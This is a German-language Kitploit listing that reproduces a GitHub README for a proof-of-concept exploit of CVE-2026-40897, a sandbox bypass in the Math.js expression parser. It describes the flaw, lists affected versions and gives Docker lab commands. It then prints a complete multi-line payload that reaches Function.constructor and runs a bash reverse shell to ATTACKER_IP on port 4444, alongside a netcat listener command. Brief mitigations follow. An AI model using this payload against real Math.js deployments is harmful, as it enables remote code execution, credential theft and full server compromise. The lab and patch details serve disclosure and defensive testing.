Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-40897 — Proof-of-Concept-Exploit für CVE-2026-40897, eine Sandbox-Umgehung des Math.js-Ausdrucksparsers, die Remote-Code-Ausführung über präparierte Payloads und ein Docker-Lab ermöglicht. | Kitploit
Tools/GitHubGitHub/yym8538/cve-2026-40897
SchwachstellenanalyseExploitationWebanwendungs-ExploitationSicherheitsvirtualisierungRemote-Access-ToolPayload-Entwicklung
GitHubyym8538/cve-2026-40897

CVE-2026-40897

Proof-of-Concept-Exploit für CVE-2026-40897, eine Sandbox-Umgehung des Math.js-Ausdrucksparsers, die Remote-Code-Ausführung über präparierte Payloads und ein Docker-Lab ermöglicht.

Repository anzeigen
1vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-40897 Remote Code Execution im Math.js Expression Parser

★ CVE-2026-40897 Remote Code Execution in Math.js PoC ★

https://github.com/user-attachments/assets/8c394039-f00a-4875-991a-fb5f40bc6898


Übersicht

CVE-2026-40897 ist eine Sandbox-Bypass-Schwachstelle, die zu Remote Code Execution führt, im Expression Parser von Math.js. Der isSafeProperty-Filter prüft nur den Eigenschaftszugriff aus Benutzerausdrücken, nicht aus internen Codepfaden. Durch das Auslesen des internen Arrays von ArrayNode über toJSON() und das Überschreiben von dessen .map kann ein Angreifer internen Code dazu bringen, auf Function.constructor zuzugreifen und beliebiges JavaScript auszuführen.


Betroffene Versionen

KategorieVersion
AnfälligMath.js 13.1.1 ≤ Version ≤ 15.1.1
Gepatcht15.2.0

Auswirkung

  • Ausführung beliebigen JavaScript-Codes (RCE)
  • Zugriff auf das Dateisystem des Hosts
  • Reverse-Shell-Verbindung, die zur vollständigen Kompromittierung des Servers führt
  • Exfiltration von Backend-Anmeldedaten und sensiblen Daten

Umgebung

docker build -t cve-2026-40897-mathjs-vuln .
docker run --rm -it -p 3000:3000 --name mathjs-vuln cve-2026-40897-mathjs-vuln

PoC

Nach dem Start der anfälligen Umgebung folgen Sie den untenstehenden Schritten, um den Angriff nachzuvollziehen.

Schritt 1. Starten eines Reverse-Shell-Listeners

nc -lvnp 4444

Schritt 2. Übermitteln der bösartigen Payload

Senden Sie den folgenden Ausdruck an math.evaluate (z. B. über die Berechnungseingabe der Anwendung).

array = reviver('',{'mathjs':'ArrayNode'}).toJSON()['items']
array.map = f(callback)=callback({'map':f2(callback2)=callback2({},'constructor'),'type':sum})
functionAssignmentNode = reviver('',{'mathjs':'FunctionAssignmentNode','name':'a','params':array,'expr':reviver('',{'mathjs':'ConstantNode'})})
func = functionAssignmentNode.toJSON()['params']['type']
shell = func('return process.mainModule.require("child_process").execSync("bash -c \'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\'").toString()')
shell()

Schritt 3. Bestätigen des Shell-Zugriffs auf der Angreiferseite

Der Zielserver verbindet sich zurück zum Listener des Angreifers und gewährt eine interaktive Bash-Shell.


Gegenmaßnahmen

  • Math.js auf eine gepatchte Version aktualisieren
  • Vermeiden, nicht vertrauenswürdige Benutzereingaben direkt an math.evaluate() zu übergeben
  • Die Exposition interner Funktionen/Klassen (reviver, FunctionAssignmentNode, ArrayNode) über den Expression Parser einschränken

Analyse

  • KR: https://www.skshieldus.com/security-insights/reports/eqst-math-js-rce-cve-2026-40897
  • EN: https://www.skshieldus.com/en/report?tab=eqst
Tool herunterladen